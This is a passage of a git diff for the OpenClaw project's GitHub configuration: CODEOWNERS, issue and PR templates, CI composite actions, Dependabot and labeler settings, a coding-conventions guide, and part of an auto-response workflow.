/src/gateway/server-methods/secrets*.ts @openclaw/secops
/src/agents/*auth*.ts @openclaw/secops
/src/agents/**/*auth*.ts @openclaw/secops
/src/agents/auth-profiles*.ts @openclaw/secops
/src/agents/auth-health*.ts @openclaw/secops
/src/agents/auth-profiles/ @openclaw/secops
/src/agents/sandbox.ts @openclaw/secops
/src/agents/sandbox-*.ts @openclaw/secops
/src/agents/sandbox/ @openclaw/secops
/src/infra/secret-file*.ts @openclaw/secops
/src/cron/stagger.ts @openclaw/secops
/src/cron/service/jobs.ts @openclaw/secops
/docs/security/ @openclaw/secops
/docs/gateway/authentication.md @openclaw/secops
/docs/gateway/sandbox-vs-tool-policy-vs-elevated.md @openclaw/secops
/docs/gateway/sandboxing.md @openclaw/secops
/docs/gateway/secrets-plan-contract.md @openclaw/secops
/docs/gateway/secrets.md @openclaw/secops
/docs/gateway/security/ @openclaw/secops
/docs/cli/approvals.md @openclaw/secops
/docs/cli/sandbox.md @openclaw/secops
/docs/cli/security.md @openclaw/secops
/docs/cli/secrets.md @openclaw/secops
/docs/reference/secretref-credential-surface.md @openclaw/secops
/docs/reference/secretref-user-supplied-credentials-matrix.json @openclaw/secops
# Release workflow and its supporting release-path checks.
/.github/workflows/openclaw-npm-release.yml @openclaw/openclaw-release-managers
/docs/reference/RELEASING.md @openclaw/openclaw-release-managers
/scripts/openclaw-npm-publish.sh @openclaw/openclaw-release-managers
/scripts/openclaw-npm-release-check.ts @openclaw/openclaw-release-managers
/scripts/release-check.ts @openclaw/openclaw-release-managers

1
.github/FUNDING.yml vendored
View File

@@ -1 +0,0 @@
custom: ["https://github.com/sponsors/steipete"]

View File

@@ -1,34 +0,0 @@
---
name: Bug report
about: Report a problem or unexpected behavior in Clawdbot.
title: "[Bug]: "
labels: bug
---
## Summary
What went wrong?
## Steps to reproduce
1.
2.
3.
## Expected behavior
What did you expect to happen?
## Actual behavior
What actually happened?
## Environment
- Clawdbot version:
- OS:
- Install method (pnpm/npx/docker/etc):
## Logs or screenshots
Paste relevant logs or add screenshots (redact secrets).

137
.github/ISSUE_TEMPLATE/bug_report.yml vendored Normal file
View File

@@ -0,0 +1,137 @@
name: Bug report
description: Report defects, including regressions, crashes, and behavior bugs.
title: "[Bug]: "
labels:
- bug
body:
- type: markdown
attributes:
value: |
Thanks for filing this report. Keep it concise, reproducible, and evidence-based.
- type: dropdown
id: bug_type
attributes:
label: Bug type
description: Choose the category that best matches this report.
options:
- Regression (worked before, now fails)
- Crash (process/app exits or hangs)
- Behavior bug (incorrect output/state without crash)
validations:
required: true
- type: textarea
id: summary
attributes:
label: Summary
description: One-sentence statement of what is broken.
placeholder: After upgrading to <version>, <channel> behavior regressed from <prior version>.
validations:
required: true
- type: textarea
id: repro
attributes:
label: Steps to reproduce
description: Provide the shortest deterministic repro path.
placeholder: |
1. Configure channel X.
2. Send message Y.
3. Run command Z.
validations:
required: true
- type: textarea
id: expected
attributes:
label: Expected behavior
description: What should happen if the bug does not exist.
placeholder: Agent posts a reply in the same thread.
validations:
required: true
- type: textarea
id: actual
attributes:
label: Actual behavior
description: What happened instead, including user-visible errors.
placeholder: No reply is posted; gateway logs "reply target not found".
validations:
required: true
- type: input
id: version
attributes:
label: OpenClaw version
description: Exact version/build tested.
placeholder: <version such as 2026.2.17>
validations:
required: true
- type: input
id: os
attributes:
label: Operating system
description: OS and version where this occurs.
placeholder: macOS 15.4 / Ubuntu 24.04 / Windows 11
validations:
required: true
- type: input
id: install_method
attributes:
label: Install method
description: How OpenClaw was installed or launched.
placeholder: npm global / pnpm dev / docker / mac app
- type: input
id: model
attributes:
label: Model
description: Effective model under test.
placeholder: minimax/text-01 / openrouter/anthropic/claude-opus-4.1 / anthropic/claude-sonnet-4.5
validations:
required: true
- type: input
id: provider_chain
attributes:
label: Provider / routing chain
description: Effective request path through gateways, proxies, providers, or model routers.
placeholder: openclaw -> cloudflare-ai-gateway -> minimax
validations:
required: true
- type: input
id: config_location
attributes:
label: Config file / key location
description: Optional. Relevant config source or key path if this bug depends on overrides or custom provider setup. Redact secrets.
placeholder: ~/.openclaw/openclaw.json ; models.providers.cloudflare-ai-gateway.baseUrl ; ~/.openclaw/agents/<agentId>/agent/models.json
- type: textarea
id: provider_setup_details
attributes:
label: Additional provider/model setup details
description: Optional. Include redacted routing details, per-agent overrides, auth-profile interactions, env/config context, or anything else needed to explain the effective provider/model setup. Do not include API keys, tokens, or passwords.
placeholder: |
Default route is openclaw -> cloudflare-ai-gateway -> minimax.
Previous setup was openclaw -> cloudflare-ai-gateway -> openrouter -> minimax.
Relevant config lives in ~/.openclaw/openclaw.json under models.providers.minimax and models.providers.cloudflare-ai-gateway.
- type: textarea
id: logs
attributes:
label: Logs, screenshots, and evidence
description: Include redacted logs/screenshots/recordings that prove the behavior.
render: shell
- type: textarea
id: impact
attributes:
label: Impact and severity
description: |
Explain who is affected, how severe it is, how often it happens, and the practical consequence.
Include:
- Affected users/systems/channels
- Severity (annoying, blocks workflow, data risk, etc.)
- Frequency (always/intermittent/edge case)
- Consequence (missed messages, failed onboarding, extra cost, etc.)
placeholder: |
Affected: Telegram group users on <version>
Severity: High (blocks replies)
Frequency: 100% repro
Consequence: Agents cannot respond in threads
- type: textarea
id: additional_information
attributes:
label: Additional information
description: Add any context that helps triage but does not fit above. If this is a regression, include the last known good and first known bad versions.
placeholder: Last known good version <...>, first known bad version <...>, temporary workaround is ...

View File

@@ -1,8 +1,8 @@
blank_issues_enabled: true
blank_issues_enabled: false
contact_links:
- name: Onboarding
url: https://discord.gg/clawd
about: New to Clawdbot? Join Discord for setup guidance from Krill in \#help.
about: "New to OpenClaw? Join Discord for setup guidance in #help."
- name: Support
url: https://discord.gg/clawd
about: Get help from Krill and the community on Discord in \#help.
about: "Get help from the OpenClaw community on Discord in #help."

View File

@@ -1,22 +0,0 @@
---
name: Feature request
about: Suggest an idea or improvement for Clawdbot.
title: "[Feature]: "
labels: enhancement
---
## Summary
Describe the problem you are trying to solve or the opportunity you see.
## Proposed solution
What would you like Clawdbot to do?
## Alternatives considered
Any other approaches you have considered?
## Additional context
Links, screenshots, or related issues.

View File

@@ -0,0 +1,70 @@
name: Feature request
description: Propose a new capability or product improvement.
title: "[Feature]: "
labels:
- enhancement
body:
- type: markdown
attributes:
value: |
Help us evaluate this request with concrete use cases and tradeoffs.
- type: textarea
id: summary
attributes:
label: Summary
description: One-line statement of the requested capability.
placeholder: Add per-channel default response prefix.
validations:
required: true
- type: textarea
id: problem
attributes:
label: Problem to solve
description: What user pain this solves and why current behavior is insufficient.
placeholder: Agents cannot distinguish persona context in mixed channels, causing misrouted follow-ups.
validations:
required: true
- type: textarea
id: proposed_solution
attributes:
label: Proposed solution
description: Desired behavior/API/UX with as much specificity as possible.
placeholder: Support channels.<channel>.responsePrefix with default fallback and account-level override.
validations:
required: true
- type: textarea
id: alternatives
attributes:
label: Alternatives considered
description: Other approaches considered and why they are weaker.
placeholder: Manual prefixing in prompts is inconsistent and hard to enforce.
- type: textarea
id: impact
attributes:
label: Impact
description: |
Explain who is affected, severity/urgency, how often this pain occurs, and practical consequences.
Include:
- Affected users/systems/channels
- Severity (annoying, blocks workflow, etc.)
- Frequency (always/intermittent/edge case)
- Consequence (delays, errors, extra manual work, etc.)
placeholder: |
Affected: Multi-team shared channels
Severity: Medium
Frequency: Daily
Consequence: +20 minutes/day/operator and delayed alerts
validations:
required: true
- type: textarea
id: evidence
attributes:
label: Evidence/examples
description: Prior art, links, screenshots, logs, or metrics.
placeholder: Comparable behavior in X, sample config, and screenshot of current limitation.
- type: textarea
id: additional_information
attributes:
label: Additional information
description: Extra context, constraints, or references not covered above.
placeholder: Must remain backward-compatible with existing config keys.

View File

@@ -4,8 +4,12 @@
self-hosted-runner:
labels:
# Blacksmith CI runners
- blacksmith-4vcpu-ubuntu-2404
- blacksmith-4vcpu-windows-2025
- blacksmith-8vcpu-ubuntu-2404
- blacksmith-8vcpu-windows-2025
- blacksmith-16vcpu-ubuntu-2404
- blacksmith-16vcpu-windows-2025
- blacksmith-32vcpu-windows-2025
- blacksmith-16vcpu-ubuntu-2404-arm
# Ignore patterns for known issues
paths:
@@ -15,3 +19,5 @@ paths:
- "shellcheck reported issue.+"
# Ignore intentional if: false for disabled jobs
- 'constant expression "false" in condition'
# actionlint's built-in runner label allowlist lags Blacksmith additions.
- 'label "blacksmith-16vcpu-[^"]+" is unknown\.'

View File

@@ -0,0 +1,53 @@
name: Detect docs-only changes
description: >
Outputs docs_only=true when all changed files are under docs/ or are
markdown (.md/.mdx). Fail-safe: if detection fails, outputs false (run
everything). Uses git diff — no API calls, no extra permissions needed.
outputs:
docs_only:
description: "'true' if all changes are docs/markdown, 'false' otherwise"
value: ${{ steps.check.outputs.docs_only }}
docs_changed:
description: "'true' if any changed file is under docs/ or is markdown"
value: ${{ steps.check.outputs.docs_changed }}
runs:
using: composite
steps:
- name: Detect docs-only changes
id: check
shell: bash
run: |
if [ "${{ github.event_name }}" = "push" ]; then
BASE="${{ github.event.before }}"
else
# Use the exact base SHA from the event payload — stable regardless
# of base branch movement (avoids origin/<ref> drift).
BASE="${{ github.event.pull_request.base.sha }}"
fi
# Fail-safe: if we can't diff, assume non-docs (run everything)
CHANGED=$(git diff --name-only "$BASE" HEAD 2>/dev/null || echo "UNKNOWN")
if [ "$CHANGED" = "UNKNOWN" ] || [ -z "$CHANGED" ]; then
echo "docs_only=false" >> "$GITHUB_OUTPUT"
echo "docs_changed=false" >> "$GITHUB_OUTPUT"
exit 0
fi
# Check if any changed file is a doc
DOCS=$(echo "$CHANGED" | grep -E '^docs/|\.md$|\.mdx$' || true)
if [ -n "$DOCS" ]; then
echo "docs_changed=true" >> "$GITHUB_OUTPUT"
else
echo "docs_changed=false" >> "$GITHUB_OUTPUT"
fi
# Check if all changed files are docs or markdown
NON_DOCS=$(echo "$CHANGED" | grep -vE '^docs/|\.md$|\.mdx$' || true)
if [ -z "$NON_DOCS" ]; then
echo "docs_only=true" >> "$GITHUB_OUTPUT"
echo "Docs-only change detected — skipping heavy jobs"
else
echo "docs_only=false" >> "$GITHUB_OUTPUT"
fi

View File

@@ -0,0 +1,47 @@
name: Ensure base commit
description: Ensure a shallow checkout has enough history to diff against a base SHA.
inputs:
base-sha:
description: Base commit SHA to diff against.
required: true
fetch-ref:
description: Branch or ref to deepen/fetch from origin when base-sha is missing.
required: true
runs:
using: composite
steps:
- name: Ensure base commit is available
shell: bash
env:
BASE_SHA: ${{ inputs.base-sha }}
FETCH_REF: ${{ inputs.fetch-ref }}
run: |
set -euo pipefail
if [ -z "$BASE_SHA" ] || [[ "$BASE_SHA" =~ ^0+$ ]]; then
echo "No concrete base SHA available; skipping targeted fetch."
exit 0
fi
if git rev-parse --verify "$BASE_SHA^{commit}" >/dev/null 2>&1; then
echo "Base commit already present: $BASE_SHA"
exit 0
fi
for deepen_by in 25 100 300; do
echo "Base commit missing; deepening $FETCH_REF by $deepen_by."
git fetch --no-tags --deepen="$deepen_by" origin "$FETCH_REF" || true
if git rev-parse --verify "$BASE_SHA^{commit}" >/dev/null 2>&1; then
echo "Resolved base commit after deepening: $BASE_SHA"
exit 0
fi
done
echo "Base commit still missing; fetching full history for $FETCH_REF."
git fetch --no-tags origin "$FETCH_REF" || true
if git rev-parse --verify "$BASE_SHA^{commit}" >/dev/null 2>&1; then
echo "Resolved base commit after full ref fetch: $BASE_SHA"
exit 0
fi
echo "Base commit still unavailable after fetch attempts: $BASE_SHA"

View File

@@ -0,0 +1,113 @@
name: Setup Node environment
description: >
Initialize submodules with retry, install Node 24 by default, pnpm, optionally Bun,
and optionally run pnpm install. Requires actions/checkout to run first.
inputs:
node-version:
description: Node.js version to install.
required: false
default: "24.x"
cache-key-suffix:
description: Suffix appended to the pnpm store cache key.
required: false
default: "node24"
pnpm-version:
description: pnpm version for corepack.
required: false
default: "10.23.0"
install-bun:
description: Whether to install Bun alongside Node.
required: false
default: "true"
use-sticky-disk:
description: Request Blacksmith sticky-disk pnpm caching on trusted runs; pull_request runs fall back to actions/cache.
required: false
default: "false"
install-deps:
description: Whether to run pnpm install after environment setup.
required: false
default: "true"
frozen-lockfile:
description: Whether to use --frozen-lockfile for install.
required: false
default: "true"
runs:
using: composite
steps:
- name: Checkout submodules (retry)
shell: bash
run: |
set -euo pipefail
git submodule sync --recursive
for attempt in 1 2 3 4 5; do
if git -c protocol.version=2 submodule update --init --force --depth=1 --recursive; then
exit 0
fi
echo "Submodule update failed (attempt $attempt/5). Retrying…"
sleep $((attempt * 10))
done
exit 1
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: ${{ inputs.node-version }}
check-latest: false
- name: Setup pnpm + cache store
uses: ./.github/actions/setup-pnpm-store-cache
with:
pnpm-version: ${{ inputs.pnpm-version }}
cache-key-suffix: ${{ inputs.cache-key-suffix }}
use-sticky-disk: ${{ inputs.use-sticky-disk }}
- name: Setup Bun
if: inputs.install-bun == 'true'
uses: oven-sh/setup-bun@v2.1.3
with:
bun-version: "1.3.9"
- name: Runtime versions
shell: bash
run: |
node -v
npm -v
pnpm -v
if command -v bun &>/dev/null; then bun -v; fi
- name: Capture node path
if: inputs.install-deps == 'true'
shell: bash
run: echo "NODE_BIN=$(dirname "$(node -p "process.execPath")")" >> "$GITHUB_ENV"
- name: Install dependencies
if: inputs.install-deps == 'true'
shell: bash
env:
CI: "true"
FROZEN_LOCKFILE: ${{ inputs.frozen-lockfile }}
run: |
set -euo pipefail
export PATH="$NODE_BIN:$PATH"
which node
node -v
pnpm -v
case "$FROZEN_LOCKFILE" in
true) LOCKFILE_FLAG="--frozen-lockfile" ;;
false) LOCKFILE_FLAG="" ;;
*)
echo "::error::Invalid frozen-lockfile input: '$FROZEN_LOCKFILE' (expected true or false)"
exit 2
;;
esac
install_args=(
install
--ignore-scripts=false
--config.engine-strict=false
--config.enable-pre-post-scripts=true
)
if [ -n "$LOCKFILE_FLAG" ]; then
install_args+=("$LOCKFILE_FLAG")
fi
pnpm "${install_args[@]}" || pnpm "${install_args[@]}"

View File

@@ -0,0 +1,76 @@
name: Setup pnpm + store cache
description: Prepare pnpm via corepack and restore pnpm store cache.
inputs:
pnpm-version:
description: pnpm version to activate via corepack.
required: false
default: "10.23.0"
cache-key-suffix:
description: Suffix appended to the cache key.
required: false
default: "node24"
use-sticky-disk:
description: Use Blacksmith sticky disks instead of actions/cache for pnpm store on trusted runs; pull_request runs fall back to actions/cache.
required: false
default: "false"
use-restore-keys:
description: Whether to use restore-keys fallback for actions/cache.
required: false
default: "true"
use-actions-cache:
description: Whether to restore/save pnpm store with actions/cache, including pull_request fallback when sticky disks are disabled.
required: false
default: "true"
runs:
using: composite
steps:
- name: Setup pnpm (corepack retry)
shell: bash
env:
PNPM_VERSION: ${{ inputs.pnpm-version }}
run: |
set -euo pipefail
if [[ ! "$PNPM_VERSION" =~ ^[0-9]+(\.[0-9]+){1,2}([.-][0-9A-Za-z.-]+)?$ ]]; then
echo "::error::Invalid pnpm-version input: '$PNPM_VERSION'"
exit 2
fi
corepack enable
for attempt in 1 2 3; do
if corepack prepare "pnpm@$PNPM_VERSION" --activate; then
pnpm -v
exit 0
fi
echo "corepack prepare failed (attempt $attempt/3). Retrying..."
sleep $((attempt * 10))
done
exit 1
- name: Resolve pnpm store path
id: pnpm-store
shell: bash
run: echo "path=$(pnpm store path --silent)" >> "$GITHUB_OUTPUT"
- name: Mount pnpm store sticky disk
# Keep persistent sticky-disk state off untrusted PR runs.
if: inputs.use-sticky-disk == 'true' && github.event_name != 'pull_request'
uses: useblacksmith/stickydisk@v1
with:
key: ${{ github.repository }}-pnpm-store-${{ runner.os }}-${{ github.ref_name }}-${{ inputs.cache-key-suffix }}-${{ hashFiles('pnpm-lock.yaml') }}
path: ${{ steps.pnpm-store.outputs.path }}
- name: Restore pnpm store cache (exact key only)
# PRs that request sticky disks still need a safe cache restore path.
if: inputs.use-actions-cache == 'true' && (inputs.use-sticky-disk != 'true' || github.event_name == 'pull_request') && inputs.use-restore-keys != 'true'
uses: actions/cache@v5
with:
path: ${{ steps.pnpm-store.outputs.path }}
key: ${{ runner.os }}-pnpm-store-${{ inputs.cache-key-suffix }}-${{ hashFiles('pnpm-lock.yaml') }}
- name: Restore pnpm store cache (with fallback keys)
if: inputs.use-actions-cache == 'true' && (inputs.use-sticky-disk != 'true' || github.event_name == 'pull_request') && inputs.use-restore-keys == 'true'
uses: actions/cache@v5
with:
path: ${{ steps.pnpm-store.outputs.path }}
key: ${{ runner.os }}-pnpm-store-${{ inputs.cache-key-suffix }}-${{ hashFiles('pnpm-lock.yaml') }}
restore-keys: |
${{ runner.os }}-pnpm-store-${{ inputs.cache-key-suffix }}-

View File

@@ -0,0 +1,18 @@
name: openclaw-codeql-javascript-typescript
paths:
- src
- extensions
- ui/src
- skills
paths-ignore:
- apps
- dist
- docs
- "**/node_modules"
- "**/coverage"
- "**/*.test.ts"
- "**/*.test.tsx"
- "**/*.e2e.test.ts"
- "**/*.e2e.test.tsx"

View File

@@ -7,6 +7,7 @@ registries:
npm-npmjs:
type: npm-registry
url: https://registry.npmjs.org
token: ${{secrets.NPM_NPMJS_TOKEN}}
replaces-base: true
updates:
@@ -14,9 +15,9 @@ updates:
- package-ecosystem: npm
directory: /
schedule:
interval: weekly
interval: daily
cooldown:
default-days: 7
default-days: 2
groups:
production:
dependency-type: production
@@ -36,9 +37,9 @@ updates:
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly
interval: daily
cooldown:
default-days: 7
default-days: 2
groups:
actions:
patterns:
@@ -52,9 +53,9 @@ updates:
- package-ecosystem: swift
directory: /apps/macos
schedule:
interval: weekly
interval: daily
cooldown:
default-days: 7
default-days: 2
groups:
swift-deps:
patterns:
@@ -68,9 +69,9 @@ updates:
- package-ecosystem: swift
directory: /apps/shared/MoltbotKit
schedule:
interval: weekly
interval: daily
cooldown:
default-days: 7
default-days: 2
groups:
swift-deps:
patterns:
@@ -84,9 +85,9 @@ updates:
- package-ecosystem: swift
directory: /Swabble
schedule:
interval: weekly
interval: daily
cooldown:
default-days: 7
default-days: 2
groups:
swift-deps:
patterns:
@@ -100,9 +101,9 @@ updates:
- package-ecosystem: gradle
directory: /apps/android
schedule:
interval: weekly
interval: daily
cooldown:
default-days: 7
default-days: 2
groups:
android-deps:
patterns:
@@ -111,3 +112,16 @@ updates:
- minor
- patch
open-pull-requests-limit: 5
# Docker base images
- package-ecosystem: docker
directory: /
schedule:
interval: weekly
cooldown:
default-days: 2
groups:
docker-images:
patterns:
- "*"
open-pull-requests-limit: 5

View File

@@ -0,0 +1,64 @@
# OpenClaw Codebase Patterns
**Always reuse existing code - no redundancy!**
## Tech Stack
- **Runtime**: Node 22+ (Bun also supported for dev/scripts)
- **Language**: TypeScript (ESM, strict mode)
- **Package Manager**: pnpm (keep `pnpm-lock.yaml` in sync)
- **Lint/Format**: Oxlint, Oxfmt (`pnpm check`)
- **Tests**: Vitest with V8 coverage
- **CLI Framework**: Commander + clack/prompts
- **Build**: tsdown (outputs to `dist/`)
## Anti-Redundancy Rules
- Avoid files that just re-export from another file. Import directly from the original source.
- If a function already exists, import it - do NOT create a duplicate in another file.
- Before creating any formatter, utility, or helper, search for existing implementations first.
## Source of Truth Locations
### Formatting Utilities (`src/infra/`)
- **Time formatting**: `src\infra\format-time`
**NEVER create local `formatAge`, `formatDuration`, `formatElapsedTime` functions - import from centralized modules.**
### Terminal Output (`src/terminal/`)
- Tables: `src/terminal/table.ts` (`renderTable`)
- Themes/colors: `src/terminal/theme.ts` (`theme.success`, `theme.muted`, etc.)
- Progress: `src/cli/progress.ts` (spinners, progress bars)
### CLI Patterns
- CLI option wiring: `src/cli/`
- Commands: `src/commands/`
- Dependency injection via `createDefaultDeps`
## Import Conventions
- Use `.js` extension for cross-package imports (ESM)
- Direct imports only - no re-export wrapper files
- Types: `import type { X }` for type-only imports
## Code Quality
- TypeScript (ESM), strict typing, avoid `any`
- Keep files under ~700 LOC - extract helpers when larger
- Colocated tests: `*.test.ts` next to source files
- Run `pnpm check` before commits (lint + format)
- Run `pnpm tsgo` for type checking
## Stack & Commands
- **Package manager**: pnpm (`pnpm install`)
- **Dev**: `pnpm openclaw ...` or `pnpm dev`
- **Type-check**: `pnpm tsgo`
- **Lint/format**: `pnpm check`
- **Tests**: `pnpm test`
- **Build**: `pnpm build`
If you are coding together with a human, do NOT use scripts/committer, but git directly and run the above commands manually to ensure quality.

116
.github/labeler.yml vendored
View File

@@ -6,9 +6,13 @@
"channel: discord":
- changed-files:
- any-glob-to-any-file:
- "src/discord/**"
- "extensions/discord/**"
- "docs/channels/discord.md"
"channel: irc":
- changed-files:
- any-glob-to-any-file:
- "extensions/irc/**"
- "docs/channels/irc.md"
"channel: feishu":
- changed-files:
- any-glob-to-any-file:
@@ -23,7 +27,6 @@
"channel: imessage":
- changed-files:
- any-glob-to-any-file:
- "src/imessage/**"
- "extensions/imessage/**"
- "docs/channels/imessage.md"
"channel: line":
@@ -59,19 +62,16 @@
"channel: signal":
- changed-files:
- any-glob-to-any-file:
- "src/signal/**"
- "extensions/signal/**"
- "docs/channels/signal.md"
"channel: slack":
- changed-files:
- any-glob-to-any-file:
- "src/slack/**"
- "extensions/slack/**"
- "docs/channels/slack.md"
"channel: telegram":
- changed-files:
- any-glob-to-any-file:
- "src/telegram/**"
- "extensions/telegram/**"
- "docs/channels/telegram.md"
"channel: tlon":
@@ -79,6 +79,11 @@
- any-glob-to-any-file:
- "extensions/tlon/**"
- "docs/channels/tlon.md"
"channel: twitch":
- changed-files:
- any-glob-to-any-file:
- "extensions/twitch/**"
- "docs/channels/twitch.md"
"channel: voice-call":
- changed-files:
- any-glob-to-any-file:
@@ -86,7 +91,6 @@
"channel: whatsapp-web":
- changed-files:
- any-glob-to-any-file:
- "src/web/**"
- "extensions/whatsapp/**"
- "docs/channels/whatsapp.md"
"channel: zalo":
@@ -194,14 +198,6 @@
- changed-files:
- any-glob-to-any-file:
- "extensions/diagnostics-otel/**"
"extensions: google-antigravity-auth":
- changed-files:
- any-glob-to-any-file:
- "extensions/google-antigravity-auth/**"
"extensions: google-gemini-cli-auth":
- changed-files:
- any-glob-to-any-file:
- "extensions/google-gemini-cli-auth/**"
"extensions: llm-task":
- changed-files:
- any-glob-to-any-file:
@@ -226,3 +222,95 @@
- changed-files:
- any-glob-to-any-file:
- "extensions/qwen-portal-auth/**"
"extensions: device-pair":
- changed-files:
- any-glob-to-any-file:
- "extensions/device-pair/**"
"extensions: acpx":
- changed-files:
- any-glob-to-any-file:
- "extensions/acpx/**"
"extensions: byteplus":
- changed-files:
- any-glob-to-any-file:
- "extensions/byteplus/**"
"extensions: anthropic":
- changed-files:
- any-glob-to-any-file:
- "extensions/anthropic/**"
"extensions: cloudflare-ai-gateway":
- changed-files:
- any-glob-to-any-file:
- "extensions/cloudflare-ai-gateway/**"
"extensions: minimax-portal-auth":
- changed-files:
- any-glob-to-any-file:
- "extensions/minimax-portal-auth/**"
"extensions: huggingface":
- changed-files:
- any-glob-to-any-file:
- "extensions/huggingface/**"
"extensions: kilocode":
- changed-files:
- any-glob-to-any-file:
- "extensions/kilocode/**"
"extensions: openai":
- changed-files:
- any-glob-to-any-file:
- "extensions/openai/**"
"extensions: kimi-coding":
- changed-files:
- any-glob-to-any-file:
- "extensions/kimi-coding/**"
"extensions: minimax":
- changed-files:
- any-glob-to-any-file:
- "extensions/minimax/**"
"extensions: modelstudio":
- changed-files:
- any-glob-to-any-file:
- "extensions/modelstudio/**"
"extensions: moonshot":
- changed-files:
- any-glob-to-any-file:
- "extensions/moonshot/**"
"extensions: nvidia":
- changed-files:
- any-glob-to-any-file:
- "extensions/nvidia/**"
"extensions: phone-control":
- changed-files:
- any-glob-to-any-file:
- "extensions/phone-control/**"
"extensions: qianfan":
- changed-files:
- any-glob-to-any-file:
- "extensions/qianfan/**"
"extensions: synthetic":
- changed-files:
- any-glob-to-any-file:
- "extensions/synthetic/**"
"extensions: talk-voice":
- changed-files:
- any-glob-to-any-file:
- "extensions/talk-voice/**"
"extensions: together":
- changed-files:
- any-glob-to-any-file:
- "extensions/together/**"
"extensions: venice":
- changed-files:
- any-glob-to-any-file:
- "extensions/venice/**"
"extensions: vercel-ai-gateway":
- changed-files:
- any-glob-to-any-file:
- "extensions/vercel-ai-gateway/**"
"extensions: volcengine":
- changed-files:
- any-glob-to-any-file:
- "extensions/volcengine/**"
"extensions: xiaomi":
- changed-files:
- any-glob-to-any-file:
- "extensions/xiaomi/**"

115
.github/pull_request_template.md vendored Normal file
View File

@@ -0,0 +1,115 @@
## Summary
Describe the problem and fix in 25 bullets:
- Problem:
- Why it matters:
- What changed:
- What did NOT change (scope boundary):
## Change Type (select all)
- [ ] Bug fix
- [ ] Feature
- [ ] Refactor
- [ ] Docs
- [ ] Security hardening
- [ ] Chore/infra
## Scope (select all touched areas)
- [ ] Gateway / orchestration
- [ ] Skills / tool execution
- [ ] Auth / tokens
- [ ] Memory / storage
- [ ] Integrations
- [ ] API / contracts
- [ ] UI / DX
- [ ] CI/CD / infra
## Linked Issue/PR
- Closes #
- Related #
## User-visible / Behavior Changes
List user-visible changes (including defaults/config).
If none, write `None`.
## Security Impact (required)
- New permissions/capabilities? (`Yes/No`)
- Secrets/tokens handling changed? (`Yes/No`)
- New/changed network calls? (`Yes/No`)
- Command/tool execution surface changed? (`Yes/No`)
- Data access scope changed? (`Yes/No`)
- If any `Yes`, explain risk + mitigation:
## Repro + Verification
### Environment
- OS:
- Runtime/container:
- Model/provider:
- Integration/channel (if any):
- Relevant config (redacted):
### Steps
1.
2.
3.
### Expected
-
### Actual
-
## Evidence
Attach at least one:
- [ ] Failing test/log before + passing after
- [ ] Trace/log snippets
- [ ] Screenshot/recording
- [ ] Perf numbers (if relevant)
## Human Verification (required)
What you personally verified (not just CI), and how:
- Verified scenarios:
- Edge cases checked:
- What you did **not** verify:
## Review Conversations
- [ ] I replied to or resolved every bot review conversation I addressed in this PR.
- [ ] I left unresolved only the conversations that still need reviewer or maintainer judgment.
If a bot review conversation is addressed by this PR, resolve that conversation yourself. Do not leave bot review conversation cleanup for maintainers.
## Compatibility / Migration
- Backward compatible? (`Yes/No`)
- Config/env changes? (`Yes/No`)
- Migration needed? (`Yes/No`)
- If yes, exact upgrade steps:
## Failure Recovery (if this breaks)
- How to disable/revert this change quickly:
- Files/config to restore:
- Known bad symptoms reviewers should watch for:
## Risks and Mitigations
List only real risks for this PR. Add/remove entries as needed. If none, write `None`.
- Risk:
- Mitigation:

View File

@@ -3,9 +3,14 @@ name: Auto response
on:
issues:
types: [opened, edited, labeled]
pull_request_target:
issue_comment:
types: [created]
pull_request_target: # zizmor: ignore[dangerous-triggers] maintainer-owned label automation; no untrusted checkout or code execution
types: [labeled]
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: "true"
permissions: {}
jobs:
@@ -13,19 +18,27 @@ jobs:
permissions:
issues: write
pull-requests: write
runs-on: ubuntu-latest
runs-on: blacksmith-16vcpu-ubuntu-2404
steps:
- uses: actions/create-github-app-token@d72941d797fd3113feb6b93fd0dec494b13a2547 # v1
- uses: actions/create-github-app-token@v2
id: app-token
continue-on-error: true
with:
app-id: "2729701"
private-key: ${{ secrets.GH_APP_PRIVATE_KEY }}
- name: Handle labeled items
uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7
- uses: actions/create-github-app-token@v2
id: app-token-fallback
if: steps.app-token.outcome == 'failure'
with:
github-token: ${{ steps.app-token.outputs.token }}
app-id: "2971289"
private-key: ${{ secrets.GH_APP_PRIVATE_KEY_FALLBACK }}
- name: Handle labeled items
uses: actions/github-script@v8
with:
github-token: ${{ steps.app-token.outputs.token || steps.app-token-fallback.outputs.token }}
script: |
// Labels prefixed with "r:" are auto-response triggers.
const activePrLimit = 10;
const rules = [
{
label: "r: skill",
@@ -39,55 +52,451 @@ jobs:
message:
"Please use [our support server](https://discord.gg/clawd) and ask in #help or #users-helping-users to resolve this, or follow the stuck FAQ at https://docs.openclaw.ai/help/faq#im-stuck-whats-the-fastest-way-to-get-unstuck.",
},
{
label: "r: no-ci-pr",
close: true,
message:
"Please don't make PRs for test failures on main.\n\n" +
"The team is aware of those and will handle them directly on the codebase, not only fixing the tests but also investigating what the root cause is. Having to sift through test-fix-PRs (including some that have been out of date for weeks...) on top of that doesn't help. There are already way too many PRs for humans to manage; please don't make the flood worse.\n\n" +
"Thank you.",
},
{
label: "r: too-many-prs",
close: true,
message:
`Closing this PR because the author has more than ${activePrLimit} active PRs in this repo. ` +
"Please reduce the active PR queue and reopen or resubmit once it is back under the limit. You can close your own PRs to get back under the limit.",
},
{
label: "r: testflight",
close: true,
commentTriggers: ["testflight"],
message: "Not available, build from source.",
},
{
label: "r: third-party-extension",
close: true,
message:
"This would be better made as a third-party extension with our SDK that you maintain yourself. Docs: https://docs.openclaw.ai/plugin.",
"Please make this as a third-party plugin that you maintain yourself in your own repo. Docs: https://docs.openclaw.ai/plugin. Feel free to open a PR after to add it to our community plugins page: https://docs.openclaw.ai/plugins/community",
},
{
label: "r: moltbook",
close: true,
lock: true,
lockReason: "off-topic",
commentTriggers: ["moltbook"],
message:
"OpenClaw is not affiliated with Moltbook, and issues related to Moltbook should not be submitted here.",
},
];
const maintainerTeam = "maintainer";
const pingWarningMessage =
"Please dont spam-ping multiple maintainers at once. Be patient, or join our community Discord for help: https://discord.gg/clawd";
const mentionRegex = /@([A-Za-z0-9-]+)/g;
const maintainerCache = new Map();
const normalizeLogin = (login) => login.toLowerCase();
const bugSubtypeLabelSpecs = {
regression: {
color: "D93F0B",
description: "Behavior that previously worked and now fails",
},
"bug:crash": {
color: "B60205",
